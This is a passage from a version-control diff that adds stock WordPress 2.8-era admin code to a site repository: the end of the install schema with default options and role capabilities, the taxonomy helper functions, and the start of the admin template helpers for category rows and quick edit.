+  post_excerpt text NOT NULL,
+  post_status varchar(20) NOT NULL default 'publish',
+  comment_status varchar(20) NOT NULL default 'open',
+  ping_status varchar(20) NOT NULL default 'open',
+  post_password varchar(20) NOT NULL default '',
+  post_name varchar(200) NOT NULL default '',
+  to_ping text NOT NULL,
+  pinged text NOT NULL,
+  post_modified datetime NOT NULL default '0000-00-00 00:00:00',
+  post_modified_gmt datetime NOT NULL default '0000-00-00 00:00:00',
+  post_content_filtered text NOT NULL,
+  post_parent bigint(20) unsigned NOT NULL default '0',
+  guid varchar(255) NOT NULL default '',
+  menu_order int(11) NOT NULL default '0',
+  post_type varchar(20) NOT NULL default 'post',
+  post_mime_type varchar(100) NOT NULL default '',
+  comment_count bigint(20) NOT NULL default '0',
+  PRIMARY KEY  (ID),
+  KEY post_name (post_name),
+  KEY type_status_date (post_type,post_status,post_date,ID),
+  KEY post_parent (post_parent)
+) $charset_collate;
+CREATE TABLE $wpdb->users (
+  ID bigint(20) unsigned NOT NULL auto_increment,
+  user_login varchar(60) NOT NULL default '',
+  user_pass varchar(64) NOT NULL default '',
+  user_nicename varchar(50) NOT NULL default '',
+  user_email varchar(100) NOT NULL default '',
+  user_url varchar(100) NOT NULL default '',
+  user_registered datetime NOT NULL default '0000-00-00 00:00:00',
+  user_activation_key varchar(60) NOT NULL default '',
+  user_status int(11) NOT NULL default '0',
+  display_name varchar(250) NOT NULL default '',
+  PRIMARY KEY  (ID),
+  KEY user_login_key (user_login),
+  KEY user_nicename (user_nicename)
+) $charset_collate;
+CREATE TABLE $wpdb->usermeta (
+  umeta_id bigint(20) unsigned NOT NULL auto_increment,
+  user_id bigint(20) unsigned NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (umeta_id),
+  KEY user_id (user_id),
+  KEY meta_key (meta_key)
+) $charset_collate;";
+
+/**
+ * Create WordPress options and set the default values.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ * @uses $wp_db_version
+ */
+function populate_options() {
+	global $wpdb, $wp_db_version;
+
+	$guessurl = wp_guess_url();
+
+	do_action('populate_options');
+
+	if ( ini_get('safe_mode') ) {
+		// Safe mode screws up mkdir(), so we must use a flat structure.
+		$uploads_use_yearmonth_folders = 0;
+		$upload_path = WP_CONTENT_DIR;
+	} else {
+		$uploads_use_yearmonth_folders = 1;
+		$upload_path = WP_CONTENT_DIR . '/uploads';
+	}
+
+	$options = array(
+	'siteurl' => $guessurl,
+	'blogname' => __('My Blog'),
+	'blogdescription' => __('Just another WordPress weblog'),
+	'users_can_register' => 0,
+	'admin_email' => 'you@example.com',
+	'start_of_week' => 1,
+	'use_balanceTags' => 0,
+	'use_smilies' => 1,
+	'require_name_email' => 1,
+	'comments_notify' => 1,
+	'posts_per_rss' => 10,
+	'rss_excerpt_length' => 50,
+	'rss_use_excerpt' => 0,
+	'mailserver_url' => 'mail.example.com',
+	'mailserver_login' => 'login@example.com',
+	'mailserver_pass' => 'password',
+	'mailserver_port' => 110,
+	'default_category' => 1,
+	'default_comment_status' => 'open',
+	'default_ping_status' => 'open',
+	'default_pingback_flag' => 1,
+	'default_post_edit_rows' => 10,
+	'posts_per_page' => 10,
+	/* translators: default date format, see http://php.net/date */
+	'date_format' => __('F j, Y'),
+	/* translators: default time format, see http://php.net/date */
+	'time_format' => __('g:i a'),
+	/* translators: links last updated date format, see http://php.net/date */
+	'links_updated_date_format' => __('F j, Y g:i a'),
+	'links_recently_updated_prepend' => '<em>',
+	'links_recently_updated_append' => '</em>',
+	'links_recently_updated_time' => 120,
+	'comment_moderation' => 0,
+	'moderation_notify' => 1,
+	'permalink_structure' => '',
+	'gzipcompression' => 0,
+	'hack_file' => 0,
+	'blog_charset' => 'UTF-8',
+	'moderation_keys' => '',
+	'active_plugins' => array(),
+	'home' => $guessurl,
+	'category_base' => '',
+	'ping_sites' => 'http://rpc.pingomatic.com/',
+	'advanced_edit' => 0,
+	'comment_max_links' => 2,
+	'gmt_offset' => date('Z') / 3600,
+
+	// 1.5
+	'default_email_category' => 1,
+	'recently_edited' => '',
+	'use_linksupdate' => 0,
+	'template' => 'default',
+	'stylesheet' => 'default',
+	'comment_whitelist' => 1,
+	'blacklist_keys' => '',
+	'comment_registration' => 0,
+	'rss_language' => 'en',
+	'html_type' => 'text/html',
+
+	// 1.5.1
+	'use_trackback' => 0,
+
+	// 2.0
+	'default_role' => 'subscriber',
+	'db_version' => $wp_db_version,
+
+	// 2.0.1
+	'uploads_use_yearmonth_folders' => $uploads_use_yearmonth_folders,
+	'upload_path' => $upload_path,
+
+	// 2.0.3
+	'secret' => wp_generate_password(64),
+
+	// 2.1
+	'blog_public' => '1',
+	'default_link_category' => 2,
+	'show_on_front' => 'posts',
+
+	// 2.2
+	'tag_base' => '',
+
+	// 2.5
+	'show_avatars' => '1',
+	'avatar_rating' => 'G',
+	'upload_url_path' => '',
+	'thumbnail_size_w' => 150,
+	'thumbnail_size_h' => 150,
+	'thumbnail_crop' => 1,
+	'medium_size_w' => 300,
+	'medium_size_h' => 300,
+
+	// 2.6
+	'avatar_default' => 'mystery',
+	'enable_app' => 0,
+	'enable_xmlrpc' => 0,
+
+	// 2.7
+	'large_size_w' => 1024,
+	'large_size_h' => 1024,
+	'image_default_link_type' => 'file',
+	'image_default_size' => '',
+	'image_default_align' => '',
+	'close_comments_for_old_posts' => 0,
+	'close_comments_days_old' => 14,
+	'thread_comments' => 0,
+	'thread_comments_depth' => 5,
+	'page_comments' => 1,
+	'comments_per_page' => 50,
+	'default_comments_page' => 'newest',
+	'comment_order' => 'asc',
+	'sticky_posts' => array(),
+	'widget_categories' => array(),
+	'widget_text' => array(),
+	'widget_rss' => array(),
+
+	// 2.8
+	'timezone_string' => ''
+	);
+
+	// Set autoload to no for these options
+	$fat_options = array( 'moderation_keys', 'recently_edited', 'blacklist_keys' );
+
+	$existing_options = $wpdb->get_col("SELECT option_name FROM $wpdb->options");
+
+	$insert = '';
+	foreach ( $options as $option => $value ) {
+		if ( in_array($option, $existing_options) )
+			continue;
+		if ( in_array($option, $fat_options) )
+			$autoload = 'no';
+		else
+			$autoload = 'yes';
+
+		$option = $wpdb->escape($option);
+		if ( is_array($value) )
+			$value = serialize($value);
+		$value = $wpdb->escape($value);
+		if ( !empty($insert) )
+			$insert .= ', ';
+		$insert .= "('$option', '$value', '$autoload')";
+	}
+
+	if ( !empty($insert) )
+		$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES " . $insert);
+
+	// in case it is set, but blank, update "home"
+	if ( !__get_option('home') ) update_option('home', $guessurl);
+
+	// Delete unused options
+	$unusedoptions = array ('blodotgsping_url', 'bodyterminator', 'emailtestonly', 'phoneemail_separator', 'smilies_directory', 'subjectprefix', 'use_bbcode', 'use_blodotgsping', 'use_phoneemail', 'use_quicktags', 'use_weblogsping', 'weblogs_cache_file', 'use_preview', 'use_htmltrans', 'smilies_directory', 'fileupload_allowedusers', 'use_phoneemail', 'default_post_status', 'default_post_category', 'archive_mode', 'time_difference', 'links_minadminlevel', 'links_use_adminlevels', 'links_rating_type', 'links_rating_char', 'links_rating_ignore_zero', 'links_rating_single_image', 'links_rating_image0', 'links_rating_image1', 'links_rating_image2', 'links_rating_image3', 'links_rating_image4', 'links_rating_image5', 'links_rating_image6', 'links_rating_image7', 'links_rating_image8', 'links_rating_image9', 'weblogs_cacheminutes', 'comment_allowed_tags', 'search_engine_friendly_urls', 'default_geourl_lat', 'default_geourl_lon', 'use_default_geourl', 'weblogs_xml_url', 'new_users_can_blog', '_wpnonce', '_wp_http_referer', 'Update', 'action', 'rich_editing', 'autosave_interval', 'deactivated_plugins', 'can_compress_scripts',
+		'page_uris', 'rewrite_rules', 'update_core', 'update_plugins', 'update_themes', 'doing_cron', 'random_seed');
+	foreach ($unusedoptions as $option)
+		delete_option($option);
+}
+
+/**
+ * Execute WordPress role creation for the various WordPress versions.
+ *
+ * @since 2.0.0
+ */
+function populate_roles() {
+	populate_roles_160();
+	populate_roles_210();
+	populate_roles_230();
+	populate_roles_250();
+	populate_roles_260();
+	populate_roles_270();
+	populate_roles_280();
+}
+
+/**
+ * Create the roles for WordPress 2.0
+ *
+ * @since 2.0.0
+ */
+function populate_roles_160() {
+	// Add roles
+
+	// Dummy gettext calls to get strings in the catalog.
+	/* translators: user role */
+	_x('Administrator', 'User role');
+	/* translators: user role */
+	_x('Editor', 'User role');
+	/* translators: user role */
+	_x('Author', 'User role');
+	/* translators: user role */
+	_x('Contributor', 'User role');
+	/* translators: user role */
+	_x('Subscriber', 'User role');
+
+	add_role('administrator', 'Administrator');
+	add_role('editor', 'Editor');
+	add_role('author', 'Author');
+	add_role('contributor', 'Contributor');
+	add_role('subscriber', 'Subscriber');
+
+	// Add caps for Administrator role
+	$role =& get_role('administrator');
+	$role->add_cap('switch_themes');
+	$role->add_cap('edit_themes');
+	$role->add_cap('activate_plugins');
+	$role->add_cap('edit_plugins');
+	$role->add_cap('edit_users');
+	$role->add_cap('edit_files');
+	$role->add_cap('manage_options');
+	$role->add_cap('moderate_comments');
+	$role->add_cap('manage_categories');
+	$role->add_cap('manage_links');
+	$role->add_cap('upload_files');
+	$role->add_cap('import');
+	$role->add_cap('unfiltered_html');
+	$role->add_cap('edit_posts');
+	$role->add_cap('edit_others_posts');
+	$role->add_cap('edit_published_posts');
+	$role->add_cap('publish_posts');
+	$role->add_cap('edit_pages');
+	$role->add_cap('read');
+	$role->add_cap('level_10');
+	$role->add_cap('level_9');
+	$role->add_cap('level_8');
+	$role->add_cap('level_7');
+	$role->add_cap('level_6');
+	$role->add_cap('level_5');
+	$role->add_cap('level_4');
+	$role->add_cap('level_3');
+	$role->add_cap('level_2');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Editor role
+	$role =& get_role('editor');
+	$role->add_cap('moderate_comments');
+	$role->add_cap('manage_categories');
+	$role->add_cap('manage_links');
+	$role->add_cap('upload_files');
+	$role->add_cap('unfiltered_html');
+	$role->add_cap('edit_posts');
+	$role->add_cap('edit_others_posts');
+	$role->add_cap('edit_published_posts');
+	$role->add_cap('publish_posts');
+	$role->add_cap('edit_pages');
+	$role->add_cap('read');
+	$role->add_cap('level_7');
+	$role->add_cap('level_6');
+	$role->add_cap('level_5');
+	$role->add_cap('level_4');
+	$role->add_cap('level_3');
+	$role->add_cap('level_2');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Author role
+	$role =& get_role('author');
+	$role->add_cap('upload_files');
+	$role->add_cap('edit_posts');
+	$role->add_cap('edit_published_posts');
+	$role->add_cap('publish_posts');
+	$role->add_cap('read');
+	$role->add_cap('level_2');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Contributor role
+	$role =& get_role('contributor');
+	$role->add_cap('edit_posts');
+	$role->add_cap('read');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Subscriber role
+	$role =& get_role('subscriber');
+	$role->add_cap('read');
+	$role->add_cap('level_0');
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.1.
+ *
+ * @since 2.1.0
+ */
+function populate_roles_210() {
+	$roles = array('administrator', 'editor');
+	foreach ($roles as $role) {
+		$role =& get_role($role);
+		if ( empty($role) )
+			continue;
+
+		$role->add_cap('edit_others_pages');
+		$role->add_cap('edit_published_pages');
+		$role->add_cap('publish_pages');
+		$role->add_cap('delete_pages');
+		$role->add_cap('delete_others_pages');
+		$role->add_cap('delete_published_pages');
+		$role->add_cap('delete_posts');
+		$role->add_cap('delete_others_posts');
+		$role->add_cap('delete_published_posts');
+		$role->add_cap('delete_private_posts');
+		$role->add_cap('edit_private_posts');
+		$role->add_cap('read_private_posts');
+		$role->add_cap('delete_private_pages');
+		$role->add_cap('edit_private_pages');
+		$role->add_cap('read_private_pages');
+	}
+
+	$role =& get_role('administrator');
+	if ( ! empty($role) ) {
+		$role->add_cap('delete_users');
+		$role->add_cap('create_users');
+	}
+
+	$role =& get_role('author');
+	if ( ! empty($role) ) {
+		$role->add_cap('delete_posts');
+		$role->add_cap('delete_published_posts');
+	}
+
+	$role =& get_role('contributor');
+	if ( ! empty($role) ) {
+		$role->add_cap('delete_posts');
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.3.
+ *
+ * @since 2.3.0
+ */
+function populate_roles_230() {
+	$role =& get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'unfiltered_upload' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.5.
+ *
+ * @since 2.5.0
+ */
+function populate_roles_250() {
+	$role =& get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'edit_dashboard' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.6.
+ *
+ * @since 2.6.0
+ */
+function populate_roles_260() {
+	$role =& get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'update_plugins' );
+		$role->add_cap( 'delete_plugins' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.7.
+ *
+ * @since 2.7.0
+ */
+function populate_roles_270() {
+	$role =& get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'install_plugins' );
+		$role->add_cap( 'update_themes' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.8.
+ *
+ * @since 2.8.0
+ */
+function populate_roles_280() {
+	$role =& get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'install_themes' );
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/taxonomy.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/taxonomy.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/taxonomy.php	(revision 44)
@@ -0,0 +1,268 @@
+<?php
+/**
+ * WordPress Taxonomy Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+//
+// Category
+//
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $cat_name
+ * @return unknown
+ */
+function category_exists($cat_name, $parent = 0) {
+	$id = is_term($cat_name, 'category', $parent);
+	if ( is_array($id) )
+		$id = $id['term_id'];
+	return $id;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $id
+ * @return unknown
+ */
+function get_category_to_edit( $id ) {
+	$category = get_category( $id, OBJECT, 'edit' );
+	return $category;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $cat_name
+ * @param unknown_type $parent
+ * @return unknown
+ */
+function wp_create_category( $cat_name, $parent = 0 ) {
+	if ( $id = category_exists($cat_name) )
+		return $id;
+
+	return wp_insert_category( array('cat_name' => $cat_name, 'category_parent' => $parent) );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $categories
+ * @param unknown_type $post_id
+ * @return unknown
+ */
+function wp_create_categories($categories, $post_id = '') {
+	$cat_ids = array ();
+	foreach ($categories as $category) {
+		if ($id = category_exists($category))
+			$cat_ids[] = $id;
+		else
+			if ($id = wp_create_category($category))
+				$cat_ids[] = $id;
+	}
+
+	if ($post_id)
+		wp_set_post_categories($post_id, $cat_ids);
+
+	return $cat_ids;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $cat_ID
+ * @return unknown
+ */
+function wp_delete_category($cat_ID) {
+	$cat_ID = (int) $cat_ID;
+	$default = get_option('default_category');
+
+	// Don't delete the default cat
+	if ( $cat_ID == $default )
+		return 0;
+
+	return wp_delete_term($cat_ID, 'category', array('default' => $default));
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $catarr
+ * @param unknown_type $wp_error
+ * @return unknown
+ */
+function wp_insert_category($catarr, $wp_error = false) {
+	$cat_defaults = array('cat_ID' => 0, 'cat_name' => '', 'category_description' => '', 'category_nicename' => '', 'category_parent' => '');
+	$catarr = wp_parse_args($catarr, $cat_defaults);
+	extract($catarr, EXTR_SKIP);
+
+	if ( trim( $cat_name ) == '' ) {
+		if ( ! $wp_error )
+			return 0;
+		else
+			return new WP_Error( 'cat_name', __('You did not enter a category name.') );
+	}
+
+	$cat_ID = (int) $cat_ID;
+
+	// Are we updating or creating?
+	if ( !empty ($cat_ID) )
+		$update = true;
+	else
+		$update = false;
+
+	$name = $cat_name;
+	$description = $category_description;
+	$slug = $category_nicename;
+	$parent = $category_parent;
+
+	$parent = (int) $parent;
+	if ( $parent < 0 )
+		$parent = 0;
+
+	if ( empty($parent) || !category_exists( $parent ) || ($cat_ID && cat_is_ancestor_of($cat_ID, $parent) ) )
+		$parent = 0;
+
+	$args = compact('name', 'slug', 'parent', 'description');
+
+	if ( $update )
+		$cat_ID = wp_update_term($cat_ID, 'category', $args);
+	else
+		$cat_ID = wp_insert_term($cat_name, 'category', $args);
+
+	if ( is_wp_error($cat_ID) ) {
+		if ( $wp_error )
+			return $cat_ID;
+		else
+			return 0;
+	}
+
+	return $cat_ID['term_id'];
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $catarr
+ * @return unknown
+ */
+function wp_update_category($catarr) {
+	$cat_ID = (int) $catarr['cat_ID'];
+
+	if ( isset($catarr['category_parent']) && ($cat_ID == $catarr['category_parent']) )
+		return false;
+
+	// First, get all of the original fields
+	$category = get_category($cat_ID, ARRAY_A);
+
+	// Escape data pulled from DB.
+	$category = add_magic_quotes($category);
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$catarr = array_merge($category, $catarr);
+
+	return wp_insert_category($catarr);
+}
+
+//
+// Tags
+//
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post_id
+ * @return unknown
+ */
+function get_tags_to_edit( $post_id, $taxonomy = 'post_tag' ) {
+	return get_terms_to_edit( $post_id, $taxonomy);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post_id
+ * @return unknown
+ */
+function get_terms_to_edit( $post_id, $taxonomy = 'post_tag' ) {
+	$post_id = (int) $post_id;
+	if ( !$post_id )
+		return false;
+
+	$tags = wp_get_post_terms($post_id, $taxonomy, array());
+
+	if ( !$tags )
+		return false;
+
+	if ( is_wp_error($tags) )
+		return $tags;
+
+	foreach ( $tags as $tag )
+		$tag_names[] = $tag->name;
+	$tags_to_edit = join( ',', $tag_names );
+	$tags_to_edit = esc_attr( $tags_to_edit );
+	$tags_to_edit = apply_filters( 'terms_to_edit', $tags_to_edit, $taxonomy );
+
+	return $tags_to_edit;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $tag_name
+ * @return unknown
+ */
+function tag_exists($tag_name) {
+	return is_term($tag_name, 'post_tag');
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $tag_name
+ * @return unknown
+ */
+function wp_create_tag($tag_name) {
+	return wp_create_term( $tag_name, 'post_tag');
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $tag_name
+ * @return unknown
+ */
+function wp_create_term($tag_name, $taxonomy = 'post_tag') {
+	if ( $id = is_term($tag_name, $taxonomy) )
+		return $id;
+
+	return wp_insert_term($tag_name, $taxonomy);
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/template.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/template.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/template.php	(revision 44)
@@ -0,0 +1,3753 @@
+<?php
+/**
+ * Template WordPress Administration API.
+ *
+ * A Big Mess. Also some neat functions that are nicely written.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// Ugly recursive category stuff.
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $parent
+ * @param unknown_type $level
+ * @param unknown_type $categories
+ * @param unknown_type $page
+ * @param unknown_type $per_page
+ */
+function cat_rows( $parent = 0, $level = 0, $categories = 0, $page = 1, $per_page = 20 ) {
+
+	$count = 0;
+
+	if ( empty($categories) ) {
+
+		$args = array('hide_empty' => 0);
+		if ( !empty($_GET['s']) )
+			$args['search'] = $_GET['s'];
+
+		$categories = get_categories( $args );
+
+		if ( empty($categories) )
+			return false;
+	}
+
+	$children = _get_term_hierarchy('category');
+
+	_cat_rows( $parent, $level, $categories, $children, $page, $per_page, $count );
+
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $categories
+ * @param unknown_type $count
+ * @param unknown_type $parent
+ * @param unknown_type $level
+ * @param unknown_type $page
+ * @param unknown_type $per_page
+ * @return unknown
+ */
+function _cat_rows( $parent = 0, $level = 0, $categories, &$children, $page = 1, $per_page = 20, &$count ) {
+
+	$start = ($page - 1) * $per_page;
+	$end = $start + $per_page;
+	ob_start();
+
+	foreach ( $categories as $key => $category ) {
+		if ( $count >= $end )
+			break;
+
+		if ( $category->parent != $parent && empty($_GET['s']) )
+			continue;
+
+		// If the page starts in a subtree, print the parents.
+		if ( $count == $start && $category->parent > 0 ) {
+
+			$my_parents = array();
+			$p = $category->parent;
+			while ( $p ) {
+				$my_parent = get_category( $p );
+				$my_parents[] = $my_parent;
+				if ( $my_parent->parent == 0 )
+					break;
+				$p = $my_parent->parent;
+			}
+
+			$num_parents = count($my_parents);
+			while( $my_parent = array_pop($my_parents) ) {
+				echo "\t" . _cat_row( $my_parent, $level - $num_parents );
+				$num_parents--;
+			}
+		}
+
+		if ( $count >= $start )
+			echo "\t" . _cat_row( $category, $level );
+
+		unset( $categories[ $key ] );
+
+		$count++;
+
+		if ( isset($children[$category->term_id]) )
+			_cat_rows( $category->term_id, $level + 1, $categories, $children, $page, $per_page, $count );
+	}
+
+	$output = ob_get_contents();
+	ob_end_clean();
+
+	echo $output;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $category
+ * @param unknown_type $level
+ * @param unknown_type $name_override
+ * @return unknown
+ */
+function _cat_row( $category, $level, $name_override = false ) {
+	static $row_class = '';
+
+	$category = get_category( $category, OBJECT, 'display' );
+
+	$default_cat_id = (int) get_option( 'default_category' );
+	$pad = str_repeat( '&#8212; ', max(0, $level) );
+	$name = ( $name_override ? $name_override : $pad . ' ' . $category->name );
+	$edit_link = "categories.php?action=edit&amp;cat_ID=$category->term_id";
+	if ( current_user_can( 'manage_categories' ) ) {
+		$edit = "<a class='row-title' href='$edit_link' title='" . esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $category->name)) . "'>" . esc_attr( $name ) . '</a><br />';
+		$actions = array();
+		$actions['edit'] = '<a href="' . $edit_link . '">' . __('Edit') . '</a>';
+		$actions['inline hide-if-no-js'] = '<a href="#" class="editinline">' . __('Quick&nbsp;Edit') . '</a>';
+		if ( $default_cat_id != $category->term_id )
+			$actions['delete'] = "<a class='delete:the-list:cat-$category->term_id submitdelete' href='" . wp_nonce_url("categories.php?action=delete&amp;cat_ID=$category->term_id", 'delete-category_' . $category->term_id) . "'>" . __('Delete') . "</a>";
+		$actions = apply_filters('cat_row_actions', $actions, $category);
+		$action_count = count($actions);
+		$i = 0;
+		$edit .= '<div class="row-actions">';
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+			$edit .= "<span class='$action'>$link$sep</span>";
+		}
+		$edit .= '</div>';
+	} else {
+		$edit = $name;
+	}
+
+	$row_class = 'alternate' == $row_class ? '' : 'alternate';
+	$qe_data = get_category_to_edit($category->term_id);
+
+	$category->count = number_format_i18n( $category->count );
+	$posts_count = ( $category->count > 0 ) ? "<a href='edit.php?cat=$category->term_id'>$category->count</a>" : $category->count;
+	$output = "<tr id='cat-$category->term_id' class='iedit $row_class'>";
+
+	$columns = get_column_headers('categories');
+	$hidden = get_hidden_columns('categories');
+	foreach ( $columns as $column_name => $column_display_name ) {
+		$class = "class=\"$column_name column-$column_name\"";
+
+		$style = '';
+		if ( in_array($column_name, $hidden) )
+			$style = ' style="display:none;"';
+
+		$attributes = "$class$style";
+
+		switch ($column_name) {
+			case 'cb':
+				$output .= "<th scope='row' class='check-column'>";
+				if ( $default_cat_id != $category->term_id ) {
+					$output .= "<input type='checkbox' name='delete[]' value='$category->term_id' />";
+				} else {
+					$output .= "&nbsp;";
+				}
+				$output .= '</th>';
+				break;
+			case 'name':
+				$output .= "<td $attributes>$edit";
+				$output .= '<div class="hidden" id="inline_' . $qe_data->term_id . '">';
+				$output .= '<div class="name">' . $qe_data->name . '</div>';
+				$output .= '<div class="slug">' . $qe_data->slug . '</div>';
+				$output .= '<div class="cat_parent">' . $qe_data->parent . '</div></div></td>';
+				break;
+			case 'description':
+				$output .= "<td $attributes>$category->description</td>";
+				break;
+			case 'slug':
+				$output .= "<td $attributes>$category->slug</td>";
+				break;
+			case 'posts':
+				$attributes = 'class="posts column-posts num"' . $style;
+				$output .= "<td $attributes>$posts_count</td>\n";
+				break;
+			default:
+				$output .= "<td $attributes>";
+				$output .= apply_filters('manage_categories_custom_column', '', $column_name, $category->term_id);
+				$output .= "</td>";
+		}
+	}
+	$output .= '</tr>';
+
+	return $output;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.7
+ *
+ * Outputs the HTML for the hidden table rows used in Categories, Link Caregories and Tags quick edit.
+ *
+ * @param string $type "tag", "category" or "link-category"
+ * @return
+ */
+function inline_edit_term_row($type) {
+
+	if ( ! current_user_can( 'manage_categories' ) )
+		return;
+
+	$is_tag = $type == 'edit-tags';
+	$columns = get_column_headers($type);
+	$hidden = array_intersect( array_keys( $columns ), array_filter( get_hidden_columns($type) ) );
+	$col_count = count($columns) - count($hidden);
+	?>
+
+<form method="get" action=""><table style="display: none"><tbody id="inlineedit">
+	<tr id="inline-edit" class="inline-edit-row" style="display: none"><td colspan="<?php echo $col_count; ?>">
+
+		<fieldset><div class="inline-edit-col">
+			<h4><?php _e( 'Quick Edit' ); ?></h4>
+
+			<label>
+				<span class="title"><?php _e( 'Name' ); ?></span>
+				<span class="input-text-wrap"><input type="text" name="name" class="ptitle" value="" /></span>
+			</label>
+
+			<label>
+				<span class="title"><?php _e( 'Slug' ); ?></span>
+				<span class="input-text-wrap"><input type="text" name="slug" class="ptitle" value="" /></span>
+			</label>
+
+<?php if ( 'category' == $type ) : ?>
+
+			<label>
+				<span class="title"><?php _e( 'Parent' ); ?></span>
+				<?php wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => __('None'))); ?>
+			</label>
+
+<?php endif; // $type ?>
+
+		</div></fieldset>
+
+<?php
+
+	$core_columns = array( 'cb' => true, 'description' => true, 'name' => true, 'slug' => true, 'posts' => true );
+
+	foreach ( $columns as $column_name => $column_display_name ) {
+		if ( isset( $core_columns[$column_name] ) )
+			continue;
+		do_action( 'quick_edit_custom_box', $column_name, $type );
+	}
+
+?>
+
+	<p class="inline-edit-save submit">
+		<a accesskey="c" href="#inline-edit" title="<?php _e('Cancel'); ?>" class="cancel button-secondary alignleft"><?php _e('Cancel'); ?></a>
+		<?php $update_text = ( $is_tag ) ? __( 'Update Tag' ) : __( 'Update Category' ); ?>
+		<a accesskey="s" href="#inline-edit" title="<?php echo esc_attr( $update_text ); ?>" class="save button-primary alignright"><?php echo $update_text; ?></a>
+		<img class="waiting" style="display:none;" src="images/wpspin_light.gif" alt="" />
+		<span class="error" style="display:none;"></span>
+		<?php wp_nonce_field( 'taxinlineeditnonce', '_inline_edit', false ); ?>
+		<br class="clear" />
+	</p>
+	</td></tr>
+	</tbody></table></form>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $category
+ * @param unknown_type $name_override
+ * @return unknown
+ */
+function link_cat_row( $category, $name_override = false ) {
+	static $row_class = '';
+
+	if ( !$category = get_term( $category, 'link_category', OBJECT, 'display' ) )
+		return false;
+	if ( is_wp_error( $category ) )
+		return $category;
+
+	$default_cat_id = (int) get_option( 'default_link_category' );
+	$name = ( $name_override ? $name_override : $category->name );
+	$edit_link = "link-category.php?action=edit&amp;cat_ID=$category->term_id";
+	if ( current_user_can( 'manage_categories' ) ) {
+		$edit = "<a class='row-title' href='$edit_link' title='" . esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $category->name)) . "'>$name</a><br />";
+		$actions = array();
+		$actions['edit'] = '<a href="' . $edit_link . '">' . __('Edit') . '</a>';
+		$actions['inline hide-if-no-js'] = '<a href="#" class="editinline">' . __('Quick&nbsp;Edit') . '</a>';
+		if ( $default_cat_id != $category->term_id )
+			$actions['delete'] = "<a class='delete:the-list:link-cat-$category->term_id submitdelete' href='" . wp_nonce_url("link-category.php?action=delete&amp;cat_ID=$category->term_id", 'delete-link-category_' . $category->term_id) . "'>" . __('Delete') . "</a>";
+		$actions = apply_filters('link_cat_row_actions', $actions, $category);
+		$action_count = count($actions);
+		$i = 0;
+		$edit .= '<div class="row-actions">';
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+			$edit .= "<span class='$action'>$link$sep</span>";
+		}
+		$edit .= '</div>';
+	} else {
+		$edit = $name;
+	}
+
+	$row_class = 'alternate' == $row_class ? '' : 'alternate';
